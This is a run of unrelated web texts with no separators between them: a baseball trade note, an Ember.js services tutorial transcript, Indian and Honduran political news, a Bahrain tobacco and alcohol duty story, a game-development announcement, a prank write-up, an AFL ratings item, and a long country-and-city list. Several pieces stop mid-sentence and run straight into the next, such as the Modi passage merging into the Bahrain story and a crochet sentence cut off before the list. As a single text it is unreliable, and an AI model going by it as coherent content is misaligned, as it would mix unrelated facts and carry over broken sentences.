Left-handed pitcher Aaron Poreda probably won't have an immediate impact because he is coming off Tommy John surgery. He also hasn't pitched in the Major Leagues since 2009. But Poreda is a former No. 1 pick of the White Sox in 2007 and was once a highly regarded prospect who was a centerpiece in a trade for Jake Peavy. So the Rangers will attempt to recreate the same magic that brought Neal Cotts' career back to life.Transcript
Services were introduced to Ember in 1.10, and they’ve become very, very important since then. So a service is an Ember object that sticks around for the life of the application, and it can store state and you can access it in almost any part of the application easily, just by injecting it.
Here are some of the things that the core team thinks that you might use services for. These all look like great episode ideas, so if you want to see one of them in particular, go ahead and put it down in the comments.
In this episode we’ll be talking about the basics, and then in future episodes we will definitely be going over user and session authentication.
So today we’ll be working with a Monster Card collection app, where we have a bunch of monster cards and we want to assemble a team out of some of them.
So we’ll be going through multiple URLs, multiple routes, but we’ll want to keep the same state throughout all of that, and so that makes this a good use for a service.
We’ll go ahead and generate a service called the current-team.
This is what was generated for us. Notice it extends of Ember.Service.
So for our team of monsters we’ll need a list of monsters. It’ll start off by default as just an empty array. Then we’ll need methods that add and remove the monster. So we’ll just pushObject to the array and removeObject from the array. Later we’ll need methods that check whether the monster is already included in the array and whether the team is full, full being having six monsters already. So we’ll go ahead and add those.
We’ll also add an if check to see if the team is full, and if it is, we’ll give an alert instead of adding that monster. So there’s our first service.
Notice it’s laid out just like any other Ember.Object, but the important thing isn’t understanding what this particular service does, it’s how we’re going to use it in the rest of the app.
So first, we’re going to want to display the monsters team here,
so we’ll want to access it in the team-lineup component. How we do that is we’re going to create the currentTeam variable, do Ember.inject.service, and so what that’s going to do is that’s going to find the service called currentTeam and it’ll know to take that camelcase and turn it into dash case, and it will inject that there so we can access that service from this component.
Notice if we want to call it something else like monsterTeam, we can still do that. We’d have to give the name of the service as an argument,
but we’ll go ahead and stick with currentTeam for now. So we got the currentTeam service injected into the team-lineup component. Let’s go ahead and use that in our template. So we’ll loop through that. So we get the currentTeam and then grab the list of monsters off of there and loop through them. Then for now we’ll just display it whole and put them each in a list item, since they’re part of a list.
And we’ll go ahead and give the currentTeam some seed data. Once again these will soon be full objects, but we’re just showing that it works.
And there we go.
So we have our service being injected into the component and displaying its data. Next we’ll make this ‘Add Team’ button work so it will actually add stuff to the current team.
To prepare for that, we’ll go ahead and remove this seed data from the monsters hash since we’ll be putting in real objects.
And then we’ll go ahead and put in a much more complete styling here, a much more complete template.
So now the current-team service
and the team-lineup component
are ready for the ‘Add Team Member’ button. To make that work we need to go to our controllers, monster, monster controller, and then we have to inject the service.
Notice this is just like how we injected the service on the team-lineup component. So now, just like in the team-lineup component, the currentTeam service is available for use. Now we just have to add the add action to this controller, and it’ll grab the currentTeam service and use that add action,
and then we’ll put the add action in this controllers template.
Now we can start building our team.
There are a couple of problems though. First, you can keep on adding the same monster to your team, and you don’t want that. You only want one of each monster per team.
We’ll solve this problem by going to the monster model, then we’ll inject the service here. Yes, you can inject service onto models as well, and we’ll use that to create the onTeam property, which tells you if this particular monster is already on your team. It does that by watching the monsters hash and then checking whether it includes the current monster.
So here’s how we’ll start off using this. We’ll go to the template of the monsters controller, and we see that we have the button showing at all times now. But here we can go and create an if statement, so if it’s onTeam, it’ll show something else.
Now when we add a Zombird, you can only add it once.
So these are the basics of having this service, but there are two quick little features that’ll make it even nicer. One is to reuse the onTeam property and work to style the card differently when it’s already on the team. We’ll do that both in the monster controller
as in the monsters plural controller.
Then we’ll go to our browser and we’ll see that it’s changing how it’s styled, so we can tell which monsters are on our team so we don’t accidentally click on them again.
The second addition is a remove button, so we’ll add a remove action on the monsters controller, which calls the remove action, the remove method on currentTeam.
And then in the monster template, we’ll create a button where you can call the remove action.
So then when we add it, we can remove it again.
So in order to make this feature, we created a service. This service was a currentTeam service, and we did it by extending the Ember.Service object.
Then in three different places we injected this service. We did it in the model,
we did it in the monster controller,
and then in the team.lineup component.
In each of them, we used Ember.inject.service. So each of these was accessing the same service, and that same service had the same data. It was a singleton.
So in the monster controller, you could add and remove stuff from there,
and then in the team.lineup you could loop through every monster in the list.
And then in the monster model, you’re checking whether that monster was on the list or not.
Without services this would have been pretty difficult to coordinate, because you can’t necessarily have all these things talking with each other easily. So we have a service that stores all this data and then everything else is accessing it.
In this week’s pro episode, we’ll be seeing another use case of this with a current user and a session service. I’ll see you then.When Nitish Kumar became chief minister of the dirt-poor Indian state of Bihar in 2005, kidnapping was said to be the leading industry in the capital city of Patna. People searching for stolen cars were advised to check the driveway of a leading politician, who reportedly commandeered vehicles for “election duty.” Although known for his soft-spoken manner, Kumar cracked down hard. He straightened out the crooked police, ordering them to move aggressively against all criminals, from the daylight robbers to the corrupt high officials. He set up a new fast-track court to speed the miscreants to jail. As Biharis gained the courage to go out on the street, even after dark, Kumar set about energizing a landlocked economy with few outlets for manufactured exports. He focused on improving the yields of Bihar’s fertile soil and ushered in a construction boom. Within a few years, a state once described by the writer V. S. Naipaul as “the place where civilization ends” had built one of the fastest-growing state economies in India. And Kumar was recognized as a leader in the new generation of dynamic chief ministers who are remaking the economic map and future of India.
This generation includes the socialite turned statesman Naveen Patnaik in Orissa, the spellbinding orator Narendra Modi in Gujarat, the self-effacing Raman Singh in Chhattisgarh, and the quiet personalities of Sheila Dikshit in Delhi and Shivraj Singh Chauhan in Madhya Pradesh. As a result of their economic successes, these leaders have each won consecutive reelection bids; India now has six chief ministers who have returned to office for at least three terms in a row, a feat unheard of in a generation. Kumar and Patnaik represent ambitious regional parties that are ready to compete with the country’s two dominant political forces: the ruling Indian National Congress and the opposition Bharatiya Janata Party, or BJP. But the best known among these chief ministers is Modi, who now looks poised to run as the prime ministerial candidate ofBahrain's Health Ministry hopes that the higher pirces will provide a financial incentive to quite smoking and alcohol. (File photo)
A cigarette shortage was reported by shops and supermarkets yesterday after it was confirmed that Bahrain had raised import duty on alcohol and tobacco – a move that is expected to drive up prices in the market.
Information, Parliament and Shura Affairs Minister and official government spokesman Isa Al Hammadi said the decision was made by Finance Minister Shaikh Ahmed bin Mohammed Al Khalifa and should have been implemented on Friday. However, it was only confirmed by the Cabinet yesterday and suppliers said they had received no prior notification.
Mr Al Hammadi told journalists he didn’t know how much import duties were being raised as he addressed a Press conference after the Cabinet meeting yesterday. “The decision has automatically gone into effect, but I am not aware about the percentages,” said Mr Al Hammadi.
However, sources told the GDN the import tariff for alcohol was now 225 per cent, up from 125pc previously, while a Health Ministry official said import duty on tobacco had increased from 100pc to 200pc. “Our company system for all import orders is connected to Bahrain Customs and when we checked on Sunday for our transaction, it showed a 225pc import duty on alcoholic beverages,” an alcohol retailer told the GDN on condition of anonymity.
“For all the new orders we place from now, the new tariffs will have to be paid by us.” He added price increases were not expected for existing stock, but added the higher import cost for new shipments would likely be passed on to customers. “Once the new stock is on the shelves, customers and our clients can expect an increase in price,” he said.
Anticipated
He told the GDN that people had been anticipating the move since last week, but warned an alcohol black market could now develop. “The sales are good now, but what we fear is that with so many people stocking up it could lead to alcohol being sold on the black market once prices increase,” he said.
Another alcohol retailer, also speaking on condition of anonymity, said companies had been surprised by the large increase in import duties. He added it was too early to predict what effect it would have on prices, which are also expected to increase at hotels and restaurants.
“At this moment, we have no clue what the impact of the hike in import duties would be,” he said. “But it is guaranteed that, at some point, the consumer will have to pay more.” Bahrain Four Star Hotels Committee chairman Hamad Al Halwachi told the GDN it could impact the hospitality sector, which would have to raise prices.
“The decision will help Bahrain, but for the hospitality sector in general it will have drastic impact with the customer paying more in the end,” he said. “The government has already increased the hotel levy from 5pc to 10pc and now hoteliers have to further adjust prices to cover the extra cost.”
The GDN learnt passengers at Bahrain International Airport were being restricted to one litre of duty free alcohol, with those bringing in more forced to pay duty on additional supplies. A Jawad Business Group spokesman revealed there had been a surge in cigarette sales since the start of the week, while customers at sheesha cafes can also expect to pay more. “We have existing tobacco stock, but once that is over we have to purchase from suppliers at new prices,” said a Bahraini coffee shop owner in Hamala.
However, Health Ministry chief nutritionist Dr Nadia Ghareeb said the decision provided a financial incentive to not smoke or drink alcohol, providing potential health benefits. Meanwhile, Bahrain Chamber of Commerce and Industry food and agriculture committee chairman Khalid Al Amin welcomed the move as a positive money-saver for the government.
“It is important that things change around us because of the low oil prices and their effect on regional economies,” he said. “Import duties are still low compared with other countries and we need to develop revenues resources now to cover the budget deficit.”
Bahrain’s projected budget deficit for 2015 and 2016 has widened from BD3 billion to BD5bn as a result of low oil revenues, prompting a major government cost-cutting drive. Electricity and water rates will increase from March 1 for all expatriates and the private sector, while fuel prices went up last month and meat subsidies were lifted on October 1.
By Sandeep Singh GrewalAuro Starts Today with Ido Yehieli
The path of Auro has already been a long one. I began designing the game in late 2010, and consequently went through dozens of revisions before coming up with the current concept. There have been several pre-visualization periods, wherein many different visual approaches were taken. The story itself even underwent many changes and complete over-hauls. We’ve also built one functional FLASH prototype and I’ve prototyped out the game out in board game form since then. However, actual production of the real game hasn’t started.
…Until today!
Today, our new programmer Ido Yehieli joins the team, and Auro’s production is formally starting. Ido is an experienced independent game developer who’s been active in the roguelike community for a few years now. He created several 7DRL (7-Day Roguelike) games which you can check out on his page. His latest game, Cardinal Quest, is a wonderfully pared-down roguelike game for Windows, OSX and Linux (go check out the free demo!). It’s very interesting to note that he and I both started at “roguelike”, and then began to move in a similar design direction. I chatted with him Monday on Roguelike Radio, where he’s a regular along with some other roguelike gurus like John Harris. We’re really lucky to have him on board for Auro, where his experience will be of great help to us in getting from concept to execution.
So! Auro is under-way as of today. We’ll be posting updates as they come. Here’s a few points on the game:
Auro will be built in Adobe Air, and will be available on just about every platform that supports that (Android, iOS and PC for sure)
We expect development to take between 3 and 4 months (so, early 2012 release, we hope!)
We’re also going to be launching a KickStarter for Auro in the next couple weeks – more info on that later
As usual, stay tuned for updates to our Twitter or Facebook pages for updates!A TV host, Salvador Nasralla, has taken a surprise lead in the Honduran presidential election, upsetting forecasts of a win for the incumbent Juan Orlando Hernandez.
With more than half of the votes counted, flamboyant entertainer Nasralla was ahead of Hernandez with an almost 5 point margin at 45 percent, according to the first official results, released nearly 10 hours after Sunday’s voting ended.
“I am the new president-elect of Honduras,” Nasralla, 64, wrote on Twitter after the results were announced.
Earlier, during the long wait for results, he and President Juan Orlando Hernandez had held competing events claiming victory.
Further results were expected later on Monday, and Nasralla called on his followers to march to the election tribunal, in an apparent effort to apply pressure on authorities to reveal the final outcome.
Nasralla, who heads the left-right Opposition Alliance Against the Dictatorship coalition and has the backing of ousted former President Manuel Zelaya, had 45.17 percent of the vote.
The National Party’s Hernandez had 40.21 percent, according to the country’s election tribunal, with 57 percent of votes counted.
With Hernandez not yet conceding defeat, a close result could lead to tensions in the poor Central American country that has suffered years of brutal gang crime and drug wars.
After the results were announced, Hernandez reiterated that he had won, and urged supporters to wait for fresh vote counts to come in from rural areas, where he enjoys greater support.
The tribunal did not give a time for when it expected the vote count to be concluded.
On Monday afternoon, Luis Zelaya, the third-placed candidate, said Nasralla was the country’s new leader and urged Hernandez to accept defeat. Luis Zelaya is not related to former president Manuel Zelaya.
Hernandez, 49, was the longtime favourite to win the election. He has been credited with lowering the murder rate and accelerating economic growth. But he has also been hurt by accusations of ties to drug and graft-stained financing and claims by opponents he is plotting a power grab.For our latest mission, 30 people throw a birthday party for a random stranger in a bar. The mission was filmed with cameras hidden behind two way mirrors, and the audio comes from hidden wireless microphones (both on our agents and hidden around the bar.) Watch the video first, and then check out our behind-the-scenes report.
This mission is a remake of the original Ted’s Birthday mission from 2003. Back then we had no access to hidden video camera equipment, so we decided not to film the mission. It just wouldn’t work with an exposed camera. We figured as soon as “Ted” saw people filming, the moment would be ruined. So for the original mission only a handful of photos exist to document it. Years later when we were working on a television pilot, we had a budget to work with professional equipment and decided to give this idea another shot.
A newly installed two way mirror in a closet door
The morning before the mission, our crew made some serious modifications to the Gaslight Bar in Manhattan.
Another crew member installs mirrors up top
A video monitor is installed for the cameraman who will be hiding up high
The Gaslight bar had a second, private bar attached to it called G2, and we were able to rent it out and set up our production there.
Explaining the mission to the agents
The mission plan was the same as the original Ted’s Birthday. I had emailed all of the agents a back story for a fictional guy named “Ted” that included basic information about where he worked, where he went to college, and what his hobbies were. The agents were instructed to make their own personal choices about how they knew him. Some chose to be his work friends, some chose to be his family members, and Agent Reeves chose to be his ex-girlfriend.
The mission begins, as Agent Carbone watches the monitors
Agent Rodgers and I chose to play the role of “Ted’s college buddies,” and we had the task of starting the mission. As the cast and crew looked on from the video monitors at G2, we entered Gaslight and approached a random stranger who was sitting with a friend at the bar. Agent Rodgers and I greeted “Ted” and apologized for being a little early to his party. His friend informed us that we had the wrong guy, that “Ted” was actually Chris (coincidentally the same name as the guy we picked from the first Ted’s Birthday.) We just laughed it off and acted like the friend was the one who was misinformed and left them to go get a drink.
Agent Barrison gives Ted a gift
Other agents started entering the bar pretty quickly. The first bunch to arrive were Ted’s work friends, with Agent Fountain playing his boss. Everyone had a card and a present for him. Most folks gave him gift cards, but a few had more personalized gifts.
Agent Sklaren gave a gag gift, a DVD of Basic Instinct
Ted gave her a hug anyway
Though certainly confused as to what was going on, Ted very quickly decided to play along and have fun. Why not? He was getting a new present every few minutes and Agent Good started a tab for him.
Agent Fairey poses with Ted
More and more party-goers started asking Ted about his ex-girlfriend Lauren, and if he knew if she was going to make it. Everyone was shocked to see her name on the “e-vite” since he had recently broken up with her.
Agent Reeves and Ted
Lauren, played by Agent Reeves, finally arrived and Ted was very friendly to his ex. She gave him a hat for his birthday and they chatted politely.
Agent Kaz and Ted
Agents Rose and Keech brought their 10-month old son to the party. They were excited for their friend Ted to get to hold him for the first time. Kaz was a little scared of Ted at first.
Agent Lindquist presents Ted’s cake
A birthday toast for Ted
Agent Wimpy enjoys some cake
Agent Wimpy played Ted’s grandfather. He bought Ted an iPod Shuffle for his birthday.
Agents Purnell and Arnheiter say goodbye
After about an hour, agents started leaving the party one by one, saying goodbye to Ted on the way out.
Agent Nicholson snapped one last photo of Ted and Lauren before he left as well
Lauren was the last to leave the party, giving her some alone time with Ted. Ted played along hilariously and the two ended up having a very tender scene together, even though they had obviously never met. She then told him goodbye and left Ted alone to discuss what the hell had just happened with his (real) friend.
Over a year later I ended up running into Ted (real name Chris Conway) at the Upright Citizens Brigade Theatre in the middle of the night during an improv marathon. As it turns out, he’s a comedian himself. Small world.
Since this mission was for a TV pilot, we ended up doing it two more times on the same night. (When you’ve spent money on all that equipment, you have to make sure you get the footage you need!) The second two were both successful, but the footage wasn’t quite as good as the first try.
Ted #2
We staged the mission for the second guy about an hour later (long after the first Ted had left the bar.) The guy we picked had lots of fun, but we probably shouldn’t have picked someone 10 to 15 years older than most of us. It made it a little too unbelievable.
Ted #3
The third Ted was a guy named Mandar, who as it turned out was a regular at the Gaslight bar. His party went incredibly well. In fact, it went so well that the video footage seemed fake. He was just too excited and agreeable about the whole thing. Mandar was known around the bar as someone who often broke out into a dance (even though the bar was definitely not a dance club.) Midway through his birthday party he did just that.
Our agents joined him and the bar was temporarily converted into a dance party. It was ridiculous.
It was a new experience for us doing the same mission three times in a row. We were exhausted by the end, but it was a ton of fun.
Mission Accomplished
It was exciting to get another chance to do this mission, as the first one from 2003 was covered by This American Life in a very negative way. While that mission itself was a total blast, and it seemed like the “Ted” that we picked had a great time (hugging us goodbye and thanking us at the end of the party), he told This American Life a year later that the experience had upset him greatly. In the end, I think we just got unlucky and picked the wrong person. This American Life did not give me an opportunity to respond to the news that “Ted” did not enjoy the experience and instead edited in an earlier interview with me that made it seem like I was heartless and unapologetic. For the record, of course I was upset to learn that he had a negative reaction to the mission. You can read a little more about my thoughts on the TAL coverage on a Reddit Q&A I did here and here.
Admittedly, this mission was a little bit different than the first Ted’s Birthday, so it’s not entirely fair to compare them. Since this was for television, we had to get all three Teds to sign a release form when it was over, which let them in on the joke. I really didn’t like having to break character for an IE mission, but the fact is you need someone’s permission to put them on primetime television. So the Teds from this mission didn’t have quite the same experience as the original Ted, who was never told exactly who we were.The controversial LBC host coined the term ‘Trumpit’ as she lavished praise on the Republican nominee. She hit back at a caller on her Sunday radio show who called Mr Trump a "racist". Mrs Hopkins added that America needed the bombastic billionaire as a wake-up to the "self-perceived elite".
LBC Hopkins said America needs the bombastic billionaire more than ever
Carol, a caller into the LBC show, said Mr Trump had spread fear about migrants and terrorism. The Clinton-supporter said: "We're meant to be shaking in our boots terrified of all the immigrants coming in. "There are apparently places in London we can't go to. "Clinton is the voice of reason. Please let her win."
LBC Hopkins could not hide her glee at a Trump victory
Trump is going to win. We’ll have a Trump-it just as we had a Brex-it Katie Hopkins
But, Mrs Hopkins hit back and called many of Mrs Clinton supporters "sneering liberal elites". She said: "You don't see that people in America are frightened, they do need someone to make America great again. "They need someone to stand up for the American people, to make the country one we can be proud of.
GETTY Hopkins compared Trump's campaign to the victorious underdogs of the Leave campaign
GETTY Monday’s presidential debate will see Mr Trump go head-to-head with Hillary Clinton
"That's why I'm backing Trump, that's why Trump will win, that's why there is going be a Trumpit. "Because we are not ready for him to win. Because we have spent too much time sneering at Donald Trump. "And not enough time recognizing what people without a voice actually want to say." Mrs Hopkins went on to tell her LBC audience: "I think Trump is going to win. We’ll have a Trump-it just as we had a Brex-it. "And all the self-perceived elite, who think we are all thick, will wake up shocked the next morning when Trump has won."
President-Elect Donald Trump in pictures Tue, December 13, 2016 Donald John Trump is an American businessman and politician who is President-elect of the United States as well as chairman and president of The Trump Organization Play slideshow 1 of 64IN WHAT looms as one of the tightest NAB AFL Rising Star races in history, a recent quiet run could hurt Port Adelaide onballer Sam Powell-Pepper's chances.
The young gun had just six disposals and conceded five free kicks against Adelaide as the Power was thumped in the Showdown last Sunday.
Since round 16, he has averaged only 1.4 points per game in the Schick AFL Player Ratings. That's well down on his season average 9.5 points per game, having lined up in 19 games.
However, the big-bodied midfielder's excellent early form could be enough to see him take the prize.
The other two seen to be leading the race with the West Australian to be named the Rising Star are both defenders: Hawthorn's Ryan Burton and Essendon's Andrew McGrath.
Burton has averaged 9.8 points per game through 18 matches, while last year's No. 1 selection McGrath has averaged 8.3 points from 17 matches.
Crucially with that pair, the drop-off since round 16 has been very minor. Burton's rating is 0.9 points down in that time compared to his season average, while it's just 0.3 for McGrath.
Schick AFL Player Ratings: Who are your club's leaders?
Player Ratings are calculated by Champion Data and take into account an individual's performances in their last 40 matches over a rolling two-year period.
A couple of Carlton's exciting prospects have delivered. Charlie Curnow (8.9 average from 18 games) and Sam Petrevski-Seton (8.8 average from 17 games) have thrilled Blues fans, spending time up forward and in the midfield.
One person who almost certainly would have been in the running with more luck was Brisbane Lions defender Alex Witherden.
After missing most of 2016 – his draft year – with a badly broken leg and having suffered a couple of hamstring injuries, his debut with the Lions was held back as he spent the first half of the season in the NEAFL.
Since making his debut, Witherden has averaged 8.1 points per game from seven matches and will be one of the leading contenders to take the award out in 2018.Using the Crochet Lathe
The Crochet Lathe lets you easily create custom crochet patterns. The principle is the same as when shaping an object using a |
Trinité, Le Diamant, Les Trois-Îlets, Sainte-Luce, etc.
Mauritania: Nouakchott, etc.
Mauritius: Port Louis, etc.
Mexico: Acapulco, Akumal, Cabo San Lucas, Cancún, Chetumal, Chichen Itza, Chihuahua, Ciudad Juárez, Cozumel, Cuernavaca, Guadalajara, Guanajuato, Guaymas, Isla Mujeres, Ixtapa, Los Cabos, Manzanillo, Mazatlán, Monterrey, Mérida, Oaxaca, Playa del Carmen, Puebla, Puerto Aventuras, Puerto Escondido, Puerto Morelos, Puerto Peñasco, Puerto Vallarta, Querétaro, Riviera Maya, San Carlos, San Cristóbal de las Casas, San Francisco de Campeche, San Miguel de Allende, San Miguel de Cozumel, Teotihuacan, Tijuana, Toluca, Tulum, Zihuatanejo, etc.
Micronesia:, etc.
Moldova: Bălți, Chișinău, Tiraspol, etc.
Monaco: Monte Carlo, etc.
Mongolia: Darkhan, Erdenet, Ulaanbaatar, etc.
Montenegro: Bar, Bečići, Bijela, Budva, Cetinje, Dobra Voda, Dobrota, Herceg Novi, Igalo, Kolašin, Kotor, Miločer, Nikšić, Perast, Petrovac, Podgorica, Prčanj, Sutomore, Sveti Stefan, Tivat, Ulcinj, Žabljak, etc.
Montserrat: Plymouth, etc.
Morocco: Agadir, Asilah, Casablanca, Chefchaouen, El Jadida, Essaouira, Fez, Marrakesh, Meknes, Merzouga, Mohammedia, Nador, Ouarzazate, Rabat, Tangier, Taroudant, Tinghir, Tétouan, etc.
Mozambique: Maputo, etc.
Myanmar: Mandalay, Naypyidaw, Nyaung Shwe, Yangon, etc.
Namibia: Rundu, Swakopmund, Walvis Bay, Windhoek, etc.
Nepal: Chitwan, Himalayas, Kathmandu, Lukla, Lumbini, Mount Everest, Nagarkot, Namche Bazaar, Patan, Pokhara, Tengboche, etc.
Netherlands:'s-Hertogenbosch, Alkmaar, Amersfoort, Amsterdam, Arnhem, Breda, Delft, Domburg, Dordrecht, Eindhoven, Groningen, Haarlem, Leiden, Maastricht, Nijmegen, Noordwijk, Rotterdam, Texel, The Hague, Utrecht, Valkenburg aan de Geul, Wijk aan Zee, Zandvoort, etc.
New Caledonia: Nouméa, etc.
New Zealand: Auckland, Christchurch, Dunedin, Gisborne, Hamilton, Hastings, Invercargill, Kaikoura, Lower Hutt, Napier, Nelson, New Plymouth, North Island, Palmerston North, Porirua, Queenstown, Rotorua, South Island, Taupo, Tauranga, Waiheke Island, Wanaka, Wellington, Whangarei, etc.
Nicaragua: Granada, Managua, etc.
Nigeria: Abuja, Benin City, Calabar, Enugu, Ibadan, Ilorin, Jos, Kaduna, Lagos, Owerri, Port Harcourt, Uyo, etc.
Niue: Alofi, etc.
North Korea: Pyongyang, etc.
Northern Mariana Islands: Saipan, etc.
Norway: Arendal, Aurland, Beitostølen, Bergen, Bodø, Bærum, Fredrikstad, Gardermoen, Geilo, Geirangerfjord, Hardangerfjord, Hemsedal, Kirkenes, Kristiansand, Kristiansund, Larvik, Lillehammer, Lillestrøm, Lofoten, Narvik, Nordkapp, Nordland, Nærøyfjord, Oppdal, Oslo, Rana, Rauma, Røros, Sandnes, Sandvika, Sarpsborg, Sognefjord, Stavanger, Stryn, Svalbard, Svolvær, Tromsø, Trondheim, Vardø, Vestvågøy, Voss, Ålesund, etc.
Oman: Muscat, Nizwa, Salalah, Seeb, etc.
Pakistan: Bhurban, Faisalabad, Islamabad, Karachi, Lahore, Peshawar, Rawalpindi, etc.
Palau: Koror, Peleliu, etc.
Palestine: Beit Sahour, Bethlehem, Hebron, Jenin, Jericho, Nablus, Ramallah, etc.
Panama: Bocas del Toro, etc.
Papua New Guinea: Port Moresby, etc.
Paraguay: Asunción, Ciudad Del Este, Encarnación, Panama City, etc.
Peru: Arequipa, Ayacucho, Cajamarca, Chiclayo, Cusco, Huancayo, Huanchaco, Huaraz, Ica, Iquitos, Lima, Machu Picchu, Máncora, Nazca, Ollantaytambo, Paracas, Pisco, Piura, Puerto Maldonado, Puno, Tacna, Tarapoto, Trujillo, Urubamba, etc.
Philippines: Angeles City, Antipolo, Bacolod, Bacoor, Baguio, Batangas, Bohol, Boracay, Cagayan de Oro, Calamba, Caloocan, Cebu, Coron, Dasmariñas, Davao, Dumaguete, El Nido, General Santos, Iloilo City, Kalibo, Lapu-Lapu City, Las Piñas, Luzon, Mactan, Makati, Mandaue, Manila, Marikina, Mindanao, Muntinlupa, Olongapo, Palawan, Panglao, Parañaque, Pasay, Pasig, Puerto Galera, Puerto Princesa, Quezon City, Tagaytay, Tagbilaran, Taguig, Valenzuela, Visayas, Zamboanga, etc.
Poland: Augustów, Białka Tatrzańska, Białowieża Forest, Białystok, Bielsko-Biała, Bukowina Tatrzańska, Bydgoszcz, Ciechocinek, Częstochowa, Darłowo, Elbląg, Gdańsk, Gdynia, Giżycko, Gorzów Wielkopolski, Jastarnia, Jastrzębia Góra, Kalisz, Katowice, Kielce, Koszalin, Kołobrzeg, Kraków, Krynica Morska, Krynica-Zdrój, Lublin, Malbork, Mikołajki, Międzyzdroje, Mrągowo, Olsztyn, Opole, Oświęcim, Poznań, Puck, Płock, Radom, Rzeszów, Sopot, Stargard, Szczawnica, Szczecin, Szczyrk, Słubice, Tarnów, Toruń, Tricity, Ustka, Ustroń, Warsaw, Wisła, Wrocław, Władysławowo, Zakopane, Zielona Góra, Łeba, Łódź, Świnoujście, etc.
Portugal: Albufeira, Algarve, Aljezur, Almancil, Armação de Pêra, Azores, Braga, Cabanas de Tavira, Carvoeiro, Cascais, Castro Marim, Coimbra, Estoril, Faro, Figueira da Foz, Funchal, Fátima, Guimarães, Lagoa, Lagos, Lisbon, Loulé, Madeira, Monte Gordo, Nazaré, Olhão, Ponta Delgada, Portimão, Porto, Praia da Luz, Quarteira, Sesimbra, Silves, Sintra, Tavira, Vila Real de Santo António, Vila do Bispo, Vilamoura, Évora, etc.
Puerto Rico: Bayamón, Caguas, Carolina, Mayagüez, Ponce, San Juan, Vieques, etc.
Qatar: Doha, etc.
Romania: Bran, Brașov, Bucharest, Cluj-Napoca, Constanța, Craiova, Poiana Brașov, Sibiu, Sighișoara, Timișoara, Transylvania, etc.
Russia: Abakan, Abrau-Dyurso, Abzakovo, Adler, Altai Republic, Alupka, Alushta, Anadyr, Anapa, Angarsk, Apatity, Arkhangelsk, Arkhipo Osipovka, Arkhyz, Armavir, Astrakhan, Bakhchysarai, Balaklava, Balakovo, Balashikha, Baltic Sea, Barnaul, Belgorod, Belokurikha, Biysk, Black Sea, Blagoveshchensk, Bolshoy Utrish, Bratsk, Bryansk, Caucasian Mineral Waters, Cheboksary, Chelyabinsk, Cherepovets, Cherkessk, Chita, Chornomorske, Crimea, Curonian Spit, Dagestan, Dagomys, Divnomorskoye, Dombay, Domodedovo, Dzerzhinsk, Dzhankhot, Dzhemete, Dzhubga, Elektrostal, Elista, Engels, Estosadok, Feodosia, Foros, Gaspra, Gatchina, Gelendzhik, Golden Ring, Golubitskaya, Gorky Gorod, Gornaya Karusel, Gorno-Altaysk, Goryachy Klyuch, Grozny, Gurzuf, Irkutsk, Ivanovo, Izhevsk, Kabardinka, Kaliningrad, Kaluga, Kamchatka, Kamensk-Uralsky, Karelia, Kazan, Kemerovo, Kerch, Khabarovsk, Khanty-Mansiysk, Khibiny, Khimki, Khosta, Kirov, Kirovsk, Kislovodsk, Kizhi, Koktebel, Kolomna, Kolpino, Komsomolsk on Amur, Konakovo, Koreiz, Korobitsyno, Korolev, Kostroma, Krasnaya Polyana, Krasnodar Krai, Krasnodar, Krasnogorsk, Krasnoyarsk, Kudepsta, Kurgan, Kursk, Kyzyl, Lake Baikal, Lake Seliger, Lazarevskoye, Lipetsk, Listvyanka, Loo, Lyubertsy, Magadan, Magnitogorsk, Makhachkala, Massandra, Matsesta, Maykop, Miass, Mineralnye Vody, Moscow, Mount Elbrus, Murmansk, Murom, Mytishchi, Naberezhnye Chelny, Nadym, Nakhodka, Nalchik, Naryan-Mar, Nebug, Nizhnekamsk, Nizhnevartovsk, Nizhny Novgorod, Nizhny Tagil, Norilsk, Novokuznetsk, Novorossiysk, Novosibirsk, Novyi Svit, Novyy Urengoy, Noyabrsk, Obninsk, Odintsovo, Olginka, Omsk, Orenburg, Orsk, Oryol, Partenit, Penza, Pereslavl Zalessky, Perm, Pervouralsk, Petergof, Petropavlovsk-Kamchatsky, Petrozavodsk, Plyos, Podolsk, Popovka, Prielbrusye, Primorsko-Akhtarsk, Pskov, Pulkovo, Pushkin, Pushkino, Pyatigorsk, Repino, Rosa Khutor, Rostov-on-Don, Ryazan, Rybachye, Rybinsk, Saint Petersburg, Sakhalin, Saky, Salekhard, Samara, Saransk, Saratov, Sea of Azov, Sergiyev Posad, Serpukhov, Sestroretsk, Sevastopol, Shakhty, Sheregesh, Sheremetyevo, Siberia, Simeiz, Simferopol, Smolensk, Sochi, Solovetsky Islands, Sortavala, Stary Oskol, Stavropol, Sterlitamak, Sudak, Sukko, Surgut, Suzdal, Svetlogorsk, Syktyvkar, Syzran, Taganrog, Taman, Tambov, Tarusa, Temryuk, Terskol, Tobolsk, Tolyatti, Tomsk, Torzhok, Tuapse, Tula, Tver, Tyumen, Ufa, Uglich, Ukhta, Ulan-Ude, Ulyanovsk, Usinsk, Ussuriysk, Utes, Valaam, Valday, Vardane, Velikiye Luki, Veliky Novgorod, Veliky Ustyug, Vityazevo, Vladikavkaz, Vladimir, Vladivostok, Vnukovo International Airport, Volga, Volgodonsk, Volgograd, Vologda, Volzhskiy, Vorkuta, Voronezh, Vyborg, Yakhroma, Yakornaya Shchel, Yakutsk, Yalta, Yaroslavl, Yekaterinburg, Yelets, Yenisei, Yessentuki, Yevpatoria, Yeysk, Yoshkar-Ola, Yuzhno-Sakhalinsk, Zavidovo, Zelenogradsk, Zheleznovodsk, Zhukovsky, Zvenigorod, etc.
Rwanda: Butare, Gisenyi, Kibuye, Kigali, etc.
Réunion: Saint-Denis, etc.
Saint Barthélemy: Gustavia, etc.
Saint Kitts and Nevis: Basseterre, etc.
Saint Lucia: Anse La Raye, Castries, Gros Islet, Soufrière, etc.
Saint Martin:, etc.
Saint Pierre and Miquelon: Saint Pierre, etc.
Saint Vincent and the Grenadines: Kingstown, etc.
Samoa: Apia, etc.
San Marino: City of San Marino, etc.
Saudi Arabia: Abha, Al Khobar, Buraydah, Dammam, Jeddah, Jizan, Jubail, Mecca, Medina, Riyadh, Ta'if, Tabuk, Yanbu, etc.
Senegal: Dakar, M'Bour, Saly Portudal, etc.
Serbia: Belgrade, Kopaonik, Niš, Novi Sad, Palić, Stara Planina, Subotica, Zlatibor, etc.
Seychelles: La Digue, Mahé, Praslin, etc.
Sierra Leone: Freetown, etc.
Singapore: Changi, Sentosa, etc.
Sint Maarten:, etc.
Slovakia: Bratislava, Jasná, Košice, Liptov, Tatranská Lomnica, Vysoké Tatry, Štrbské Pleso, etc.
